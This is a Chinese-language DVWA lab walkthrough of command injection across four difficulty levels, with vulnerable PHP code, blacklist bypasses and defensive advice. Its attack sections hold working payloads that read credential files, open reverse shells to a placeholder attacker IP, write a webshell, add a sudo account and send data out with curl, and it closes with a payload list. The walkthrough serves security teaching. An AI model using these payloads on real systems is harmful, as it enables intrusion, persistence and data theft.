目录
漏洞简介
什么是命令注入(Command Injection)?
命令注入是指攻击者在应用程序中注入操作系统命令,使应用程序执行预期之外的系统命令。
原理:
应用程序将用户输入直接传递给系统shell执行,没有进行适当的过滤和验证。
危害:
- 读取敏感文件(/etc/passwd、配置文件)
- 修改系统文件
- 执行任意命令
- 反弹shell获取服务器控制权
- 提权
- 植入后门
常见场景:
- Ping工具
- DNS查询工具
- 文件处理工具
- 系统管理工具
Low 难度
攻击目标
无任何过滤的命令执行,完全暴露。
后端代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <?php
if( isset( $_POST[ 'Submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
$cmd = shell_exec( 'ping ' . $target ); } else {
$cmd = shell_exec( 'ping -c 4 ' . $target ); }
$html .= "<pre>{$cmd}</pre>"; }
?>
|
漏洞分析
核心问题:
- 直接拼接用户输入 - 没有任何验证或过滤
- 使用shell_exec() - 直接执行shell命令
- 无输入验证 - 不检查IP格式
- 无黑名单 - 允许任何特殊字符
命令连接符:
| 符号 |
系统 |
作用 |
示例 |
; |
Linux/Win |
依次执行 |
127.0.0.1; ls |
& |
Windows |
依次执行 |
127.0.0.1 & dir |
&& |
Linux/Win |
前者成功才执行后者 |
127.0.0.1 && whoami |
| |
Linux/Win |
管道,前者输出作为后者输入 |
127.0.0.1 | cat /etc/passwd |
|| |
Linux/Win |
前者失败才执行后者 |
invalid || whoami |
`command` |
Linux |
命令替换 |
127.0.0.1 `whoami` |
$(command) |
Linux |
命令替换 |
127.0.0.1 $(ls) |
攻击步骤
基础测试
1. 简单命令注入(Linux)
1 2 3 4 5 6 7
| 127.0.0.1; whoami
ping -c 4 127.0.0.1; whoami
|
2. 查看目录(Linux)
1 2 3 4 5 6 7 8
| 127.0.0.1; ls -la
127.0.0.1; uname -a
127.0.0.1; pwd
|
3. 读取敏感文件(Linux)
1 2 3 4 5 6 7 8
| 127.0.0.1; cat /etc/passwd
127.0.0.1; cat /etc/shadow
127.0.0.1; cat ../../config/config.inc.php
|
4. Windows命令
1 2 3 4 5 6 7 8 9 10 11
| 127.0.0.1 & dir
127.0.0.1 & whoami
127.0.0.1 & systeminfo
127.0.0.1 & ipconfig
|
高级攻击
1. 反弹Shell(Linux)
1 2 3 4 5 6 7 8
| 127.0.0.1; nc -e /bin/bash 攻击者IP 4444
127.0.0.1; bash -i >& /dev/tcp/攻击者IP/4444 0>&1
127.0.0.1; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击者IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
|
攻击者监听:
2. 写入WebShell
1 2 3 4 5
| 127.0.0.1; echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php
http://dvwa.local/shell.php?cmd=whoami
|
3. 添加管理员账户(Linux)
1 2 3 4 5 6 7 8
| 127.0.0.1; useradd -m hacker
127.0.0.1; echo 'hacker:password' | chpasswd
127.0.0.1; usermod -aG sudo hacker
|
4. 数据窃取
1 2 3 4 5
| 127.0.0.1; tar -czf /tmp/data.tar.gz /var/www/html
127.0.0.1; curl -F "file=@/tmp/data.tar.gz" http://攻击者服务器/upload
|
使用Burp Suite
步骤:
- 开启Burp Suite代理
- 提交正常请求
- 在Burp中拦截请求
- 修改ip参数:
- Forward请求
- 查看响应
Medium 难度
攻击目标
添加了黑名单过滤,但可以绕过。
后端代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php
if( isset( $_POST[ 'Submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
$substitutions = array( '&&' => '', ';' => '', );
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
if( stristr( php_uname( 's' ), 'Windows NT' ) ) { $cmd = shell_exec( 'ping ' . $target ); } else { $cmd = shell_exec( 'ping -c 4 ' . $target ); }
$html .= "<pre>{$cmd}</pre>"; }
?>
|
新增防护
- 黑名单过滤 - 过滤
&& 和 ;
仍存在的漏洞
- 黑名单不完整 - 只过滤了2个字符,还有很多其他方式
- 没有过滤
|、||、&、换行符等
- 仍使用shell_exec()
绕过方法
方法1:使用其他连接符
1 2 3 4 5 6 7 8 9 10 11
| 127.0.0.1 & whoami
127.0.0.1 | whoami
invalid_ip || whoami
127.0.0.1%0Awhoami
|
方法2:在Burp Suite中测试
1 2 3 4
| POST /dvwa/vulnerabilities/exec/ HTTP/1.1 ...
ip=127.0.0.1+|+cat+/etc/passwd&Submit=Submit
|
方法3:其他绕过技巧
1 2 3 4 5 6 7 8
| 127.0.0.1$(whoami)
127.0.0.1`whoami`
127.0.0.1 & ls
|
High 难度
攻击目标
更严格的黑名单,但仍有绕过方法。
后端代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?php
if( isset( $_POST[ 'Submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
$substitutions = array( '&' => '', ';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', );
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
if( stristr( php_uname( 's' ), 'Windows NT' ) ) { $cmd = shell_exec( 'ping ' . $target ); } else { $cmd = shell_exec( 'ping -c 4 ' . $target ); }
$html .= "<pre>{$cmd}</pre>"; }
?>
|
新增防护
- 更完整的黑名单 - 过滤了
&, ;, | , -, $, (, ), `, ||
仍存在的漏洞
- 注意:只过滤了
| (管道+空格) - 可以用|(无空格)绕过
- 没有过滤换行符
- 黑名单仍不完全
绕过方法
方法1:管道符不加空格
1 2 3
|
127.0.0.1|cat /etc/passwd
|
原理:
1 2 3 4 5
| '| ' => ''
'127.0.0.1|cat'
|
方法2:使用换行符
1 2 3 4 5
| 127.0.0.1%0Acat /etc/passwd
ip=127.0.0.1%0Awhoami
|
方法3:组合绕过
1 2
| 127.0.0.1|cat</etc/passwd
|
Impossible 难度
攻击目标
使用白名单验证,几乎无法绕过。
后端代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| <?php
if( isset( $_POST[ 'Submit' ] ) ) {
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
$octet = explode( ".", $target );
if( ( count( $octet ) == 4 ) && ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( $octet[0] >= 0 ) && ( $octet[0] <= 255 ) && ( $octet[1] >= 0 ) && ( $octet[1] <= 255) && ( $octet[2] >= 0 ) && ( $octet[2] <= 255) && ( $octet[3] >= 0 ) && ( $octet[3] <= 255) ) {
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
if( stristr( php_uname( 's' ), 'Windows NT' ) ) { $cmd = shell_exec( 'ping ' . $target ); } else { $cmd = shell_exec( 'ping -c 4 ' . $target ); }
$html .= "<pre>{$cmd}</pre>"; } else { $html .= '<pre>ERROR: You have entered an invalid IP.</pre>'; } }
generateSessionToken();
?>
|
完善的防护机制
- CSRF Token验证 - 防止跨站请求伪造
- stripslashes() - 清理反斜杠
- 白名单验证 - 只允许标准IP格式
- IP格式严格验证:
- 必须4个部分
- 每部分必须是数字
- 每部分范围0-255
- 重新构建输入 - 使用验证后的数据重新组合
为什么无法攻破?
白名单机制:
1 2 3 4 5 6 7 8
| 输入:127.0.0.1; whoami
验证过程: 1. 分割:['127', '0', '0', '1; whoami'] 2. 检查第4个元素:'1; whoami' 3. is_numeric('1; whoami') = false ❌ 4. 验证失败,拒绝执行 5. 输出:ERROR: You have entered an invalid IP.
|
任何注入尝试都会失败:
1 2 3 4 5
| 127.0.0.1|whoami -> count != 4 ❌ 127.0.0.1;whoami -> count != 4 ❌ 127.0.0.1&whoami -> count != 4 ❌ 127.0.0.1%0Awhoami -> count != 4 ❌ 127.$(whoami).0.1 -> is_numeric($(whoami)) = false ❌
|
即使通过验证,也会被重新构建:
1 2 3 4
| 输入:127.0.0.1(正常IP) 验证:通过 重新构建:$octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3] 结果:127.0.0.1(原始恶意部分被丢弃)
|
防御建议
代码层面
避免使用系统命令函数
1 2 3 4 5 6 7 8
| shell_exec() exec() system() passthru() popen() proc_open() ``(反引号)
|
使用内置函数替代
1 2 3 4 5 6 7
| shell_exec('ping ' . $ip);
if (filter_var($ip, FILTER_VALIDATE_IP)) { }
|
输入验证 - 白名单
1 2 3 4 5 6 7 8 9
| if (!filter_var($input, FILTER_VALIDATE_IP)) { die("Invalid IP"); }
if (!preg_match('/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/', $input)) { die("Invalid format"); }
|
使用参数化执行
1 2 3 4 5 6 7 8 9
| $cmd = "ping " . $user_input;
$safe_arg = escapeshellarg($user_input); $cmd = "ping " . $safe_arg;
$safe_cmd = escapeshellcmd($user_input);
|
函数说明
escapeshellarg()
1 2 3 4 5 6
| $input = "127.0.0.1; whoami"; $safe = escapeshellarg($input);
exec("ping -c 1 " . $safe);
|
escapeshellcmd()
1 2 3 4
| $input = "127.0.0.1; whoami"; $safe = escapeshellcmd($input);
|
架构层面
最小权限原则
- Web服务器使用低权限用户(www-data)
- 禁止sudo权限
- chroot监狱
禁用危险函数
1 2
| disable_functions = exec,passthru,shell_exec,system,proc_open,popen
|
使用容器隔离
检测和监控
WAF规则
1 2 3 4 5
| 检测模式: [;&|] $(...) `...` %0A(换行符)
|
日志监控
1 2
| error_log("Command executed: " . $cmd);
|
总结对比
| 特性 |
Low |
Medium |
High |
Impossible |
| 输入验证 |
❌ |
黑名单(2个) |
黑名单(9个) |
✅ 白名单 |
| 过滤字符 |
无 |
&&, ; |
&, ;, | , -, $, (, ), `, || |
N/A |
| 验证方式 |
无 |
简单替换 |
扩展替换 |
IP格式验证 |
| CSRF防护 |
❌ |
❌ |
❌ |
✅ |
| 可绕过性 |
完全开放 |
容易 |
中等 |
几乎不可能 |
| 攻击示例 |
; ls |
| ls |
|ls(无空格) |
无法注入 |
实战建议
学习路径:
- Low难度 - 理解基本的命令注入
- Medium难度 - 学习绕过简单黑名单
- High难度 - 掌握高级绕过技巧
- Impossible难度 - 理解正确的防御方法
常用Payload集合:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| ; whoami & whoami | whoami || whoami && whoami
; cat /etc/passwd | cat /etc/passwd
; ls -la ; dir
; nc -e /bin/bash 攻击者IP 端口 ; bash -i >& /dev/tcp/IP/端口 0>&1
; echo "恶意代码" > shell.php
|
工具推荐:
- Burp Suite - 拦截修改请求
- Commix - 自动化命令注入工具
- SQLMap的os-shell模式
道德准则:
- 只在授权环境测试
- 不攻击真实系统
- 理解防御才能更好地防护